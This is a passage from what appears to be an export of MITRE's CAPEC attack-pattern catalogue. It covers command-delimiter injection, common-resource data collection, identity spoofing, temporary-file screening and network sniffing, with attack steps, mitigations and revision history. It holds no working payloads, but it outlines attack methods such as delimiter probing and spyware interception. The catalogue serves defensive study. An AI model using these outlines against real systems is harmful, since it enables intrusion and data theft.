+ + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5297 + Modification_5297 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5303 + Modification_5303 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5309 + Modification_5309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-15 + Command Delimiters + + + + + + + + + 15 + + + + + Command Delimiters + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5322 + Related_Attack_Pattern_5322 + + + + + + + + + + + + + + 137 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep5327 + Attack_Step_5327 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Assess Target Runtime Environment] In situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping using network connection-based software (e.g., nmap, nessus, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping by exploring the operating system (netstat, sockstat, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5336 + Attack_Step_5336 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the Application] The attacker surveys the target application, possibly as a valid and authenticated user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inventory all application inputs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5343 + Attack_Step_5343 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt delimiters in inputs] The attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enter command delimiters directly in input fields.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5351 + Attack_Step_5351 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use malicious command delimiters] The attacker uses combinations of payload and carefully placed command delimiters to attack the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software's input validation or filtering must not detect and block presence of additional malicious command.</xhtml:div> + + + + + + + + + + + + #indSkillSkill5361 + Skill_5361 + + + + + + + + + + + + + + The attacker has to identify injection vector, identify the specific commands, and optionally collect the output, i.e. from an interactive session. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5367 + Consequence_5367 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5374 + Consequence_5374 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Perform allowlist validation against a positive specification for command length, type, and parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Limit program privileges, so if commands circumvent program input validation or filter routines then commands do not running under a privileged account</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use type conversions such as JDBC prepared statements.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 146 + + + + + 77 + + + + + 184 + + + + + 78 + + + + + 185 + + + + + 93 + + + + + 140 + + + + + 157 + + + + + 138 + + + + + 154 + + + + + 697 + + + + + + + + + + + + #indReferenceReference5405 + Reference_5405 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory5407 + Content_History_5407 + + + + + + + + + + + + + + + + #indSubmissionSubmission5408 + Submission_5408 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5413 + Modification_5413 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5419 + Modification_5419 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Mitigations + + + + + + + + + + + + #indModificationModification5425 + Modification_5425 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-150 + Collect Data from Common Resource Locations + + + + + + + + + 150 + + + + + Collect Data from Common Resource Locations + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5439 + Related_Attack_Pattern_5439 + + + + + + + + + + + + + + 116 + + + + + 437 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted applications must either expect files to be located at a specific location or, if the location of the files can be configured by the user, the user either failed to move the files from the default location or placed them in a conventional location for files of the given type.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. In some cases, the attacker need not even have direct access to the locations on the target computer where the targeted resources reside.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can use a technique called Bluesnarfing to retrieve data from Bluetooth enabled devices in which they know where the data is located. This is done by connecting to the device’s Object Exchange (OBEX) Push Profile and making OBEX GET requests for known filenames (contact lists, photos, recent calls). Bluesnarfing was patched shortly after its discovery in 2003 and will only work on devices created before or during this time.</xhtml:div> + + + + + 552 + + + + + 1239 + + + + + 1258 + + + + + 1266 + + + + + 1272 + + + + + 1323 + + + + + 1330 + + + + + + + + + + + + #indTaxonomyMappingOSCredentialDumping + OS Credential Dumping + + + + + + + + + + + + + + 1003 + + + + + OS Credential Dumping + + + + + + + + + + + + #indTaxonomyMappingAutomatedCollection + Automated Collection + + + + + + + + + + + + + + 1119 + + + + + Automated Collection + + + + + + + + + + + + #indTaxonomyMappingDataFromInformationRepositories + Data from Information Repositories + + + + + + + + + + + + + + 1213 + + + + + Data from Information Repositories + + + + + + + + + + + + #indTaxonomyMappingDataFromCloudStorageObject + Data from Cloud Storage Object + + + + + + + + + + + + + + 1530 + + + + + Data from Cloud Storage Object + + + + + + + + + + + + #indTaxonomyMappingCredentialsFromPasswordStores + Credentials from Password Stores + + + + + + + + + + + + + + 1555 + + + + + Credentials from Password Stores + + + + + + + + + + + + #indTaxonomyMappingDataFromConfigurationRepository + Data from Configuration Repository + + + + + + + + + + + + + + 1602 + + + + + Data from Configuration Repository + + + + + + + + + + + + #indContentHistoryContentHistory5487 + Content_History_5487 + + + + + + + + + + + + + + + + #indSubmissionSubmission5488 + Submission_5488 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5493 + Modification_5493 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification5499 + Modification_5499 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification5505 + Modification_5505 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification5511 + Modification_5511 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification5517 + Modification_5517 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification5523 + Modification_5523 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification5529 + Modification_5529 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification5535 + Modification_5535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification5541 + Modification_5541 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName5547 + Previous_Entry_Name_5547 + + + + + + + + + 2015-12-07 + + + + + Common Resource Location Exploration + + + + + + + + + + + + #CAPEC-151 + Identity Spoofing + + + + + + + + + 151 + + + + + Identity Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity. This attack differs from Content Spoofing attacks where the adversary does not wish to change the apparent identity of the message but instead wishes to change what the message says. In an Identity Spoofing attack, the adversary is attempting to change the identity of the content.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The identity associated with the message or resource must be removable or modifiable in an undetectable way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5564 + Consequence_5564 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ robust authentication processes (e.g., multi-factor authentication).</xhtml:div> + + + + + 287 + + + + + + + + + + + + #indContentHistoryContentHistory5578 + Content_History_5578 + + + + + + + + + + + + + + + + #indSubmissionSubmission5579 + Submission_5579 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5584 + Modification_5584 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification5590 + Modification_5590 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification5596 + Modification_5596 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-153 + Input Data Manipulation + + + + + + + + + 153 + + + + + Input Data Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a weakness in input validation by controlling the format, structure, and composition of data to an input-processing interface. By supplying input of a non-standard or unexpected form an attacker can adversely impact the security of the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, using a different character encoding might cause dangerous text to be treated as safe text. Alternatively, the attacker may use certain flags, such as file extensions, to make a target application believe that provided data should be handled using a certain interpreter when the data is not actually of the appropriate type. This can lead to bypassing protection mechanisms, forcing the target to use specific components for input processing, or otherwise causing the user's data to be handled differently than might otherwise be expected. This attack differs from Variable Manipulation in that Variable Manipulation attempts to subvert the target's processing through the value of the input while Input Data Manipulation seeks to control how the input is processed.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must accept user data for processing and the manner in which this data is processed must depend on some aspect of the format or flags that the attacker can control.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 20 + + + + + + + + + + + + #indContentHistoryContentHistory5619 + Content_History_5619 + + + + + + + + + + + + + + + + #indSubmissionSubmission5620 + Submission_5620 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5625 + Modification_5625 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5631 + Modification_5631 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification5637 + Modification_5637 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification5643 + Modification_5643 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-154 + Resource Location Spoofing + + + + + + + + + 154 + + + + + Resource Location Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary deceives an application or user and convinces them to request a resource from an unintended location. By spoofing the location, the adversary can cause an alternate resource to be used, often one that the adversary controls and can be used to help them achieve their malicious goals.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None. All applications rely on file paths and therefore, in theory, they or their resources could be affected by this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5662 + Consequence_5662 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor network activity to detect any anomalous or unauthorized communication exchanges.</xhtml:div> + + + + + 451 + + + + + + + + + + + + #indContentHistoryContentHistory5674 + Content_History_5674 + + + + + + + + + + + + + + + + #indSubmissionSubmission5675 + Submission_5675 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5680 + Modification_5680 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification5686 + Modification_5686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification5692 + Modification_5692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification5698 + Modification_5698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-155 + Screen Temporary Files for Sensitive Information + + + + + + + + + 155 + + + + + Screen Temporary Files for Sensitive Information + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits the temporary, insecure storage of information by monitoring the content of files used to store temp data during an application's routine execution flow. Many applications use temporary files to accelerate processing or to provide records of state across multiple executions of the application. Sometimes, however, these temporary files may end up storing sensitive information. By screening an application's temporary files, an adversary might be able to discover such sensitive information. For example, web browsers often cache content to accelerate subsequent lookups. If the content contains sensitive information then the adversary could recover this from the web cache.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5713 + Related_Attack_Pattern_5713 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep5719 + Attack_Step_5719 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Look for temporary files in target application] An adversary will try to discover temporary files in a target application. Knowledge of where the temporary files are being stored is important information.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5724 + Attack_Step_5724 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt to read temporary files] An adversary will attempt to read any temporary files they may have discovered through normal means.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to get the file by querying the file path to a web server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using a remote shell into an application, read temporary files and send out information remotely if necessary</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Recover temporary information from a user's browser cache</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5732 + Attack_Step_5732 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use function weaknesses to gain access to temporary files] If normal means to read temporary files did not work, an adversary will attempt to exploit weak temporary file functions to gain access to temporary files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some C functions such as tmpnam(), tempnam(), and mktemp() will create a temporary file with a unique name, but do not stop an adversary from creating a file of the same name before it is opened by the application. Because these functions do not create file names that are sufficiently random, an adversary will try to make a file of the same name, causing a collision, and possibly altering file permissions for the temporary file so that it is able to be read.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Similar to the last technique, an adversary might also create a file name collision using a linked file in a unix system such that the temporary file contents written out by the application write to a file of the adversaries choosing, allowing them to read the file contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must utilize temporary files and must fail to adequately secure them against other parties reading them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Because some application may have a large number of temporary files and/or these temporary files may be very large, an adversary may need tools that help them quickly search these files for sensitive information. If the adversary can simply copy the files to another location and if the speed of the search is not important, the adversary can still perform the attack without any special resources.</xhtml:div> + + + + + 377 + + + + + + + + + + + + #indContentHistoryContentHistory5749 + Content_History_5749 + + + + + + + + + + + + + + + + #indSubmissionSubmission5750 + Submission_5750 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5755 + Modification_5755 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5761 + Modification_5761 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Activation_Zone, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Vulnerabilities, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification5767 + Modification_5767 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification5773 + Modification_5773 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5779 + Modification_5779 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5785 + Modification_5785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5791 + Modification_5791 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-157 + Sniffing Attacks + + + + + + + + + 157 + + + + + Sniffing Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, the adversary intercepts information transmitted between two third parties. The adversary must be able to observe, read, and/or hear the communication traffic, but not necessarily block the communication or change its content. Any transmission medium can theoretically be sniffed if the adversary can examine the contents between the sender and recipient. Sniffing Attacks are similar to Adversary-In-The-Middle attacks (CAPEC-94), but are entirely passive. AiTM attacks are predominantly active and often alter the content of the communications themselves.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5803 + Related_Attack_Pattern_5803 + + + + + + + + + + + + + + 117 + + + + + 514 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5806 + Related_Attack_Pattern_5806 + + + + + + + + + + + + + + 652 + + + + + + + + + + + + #indAttackStepAttackStep5809 + Attack_Step_5809 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Communication Mechanism] The adversary determines the nature and mechanism of communication between two components, looking for opportunities to exploit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for application documentation that might describe a communication mechanism used by a target.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5815 + Attack_Step_5815 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Position In Between Targets] The adversary positions themselves somewhere in the middle of the two components. If the communication is encrypted, the adversary will need to act as a proxy and route traffic between the components, exploiting a flaw in the encryption mechanism. Otherwise, the adversary can just observe the communication at either end.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Wireshark or some other packet capturing tool to capture traffic on a network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install spyware on a client that will intercept outgoing packets and route them to their destination as well as route incoming packets back to the client.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exploit a weakness in an encrypted communication mechanism to gain access to traffic. Look for outdated mechanisms such as SSL.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5823 + Attack_Step_5823 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Listen to Communication] The adversary observes communication, but does not alter or block it. The adversary gains access to sensitive information and can potentially utilize this information in a malicious way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target data stream must be transmitted on a medium to which the adversary has access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to intercept the transmissions containing the data of interest. Depending on the medium of transmission and the path the data takes between the sender and recipient, the adversary may require special equipment and/or require that this equipment be placed in specific locations (e.g., a network sniffing tool)</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5836 + Consequence_5836 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt sensitive information when transmitted on insecure mediums to prevent interception.</xhtml:div> + + + + + 311 + + + + + + + + + + + + #indContentHistoryContentHistory5847 + Content_History_5847 + + + + + + + + + + + + + + + + #indSubmissionSubmission5848 + Submission_5848 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5853 + Modification_5853 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5859 + Modification_5859 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification5865 + Modification_5865 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification5871 + Modification_5871 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5877 + Modification_5877 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5883 + Modification_5883 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification5889 + Modification_5889 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-158 + Sniffing Network Traffic + + + + + + + + + 158 + + + + + Sniffing Network Traffic + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, the adversary monitors network traffic between nodes of a public or multicast network in an attempt to capture sensitive information at the protocol level. Network sniffing applications can reveal TCP/IP, DNS, Ethernet, and other low-level network communication information. The adversary takes a passive role in this 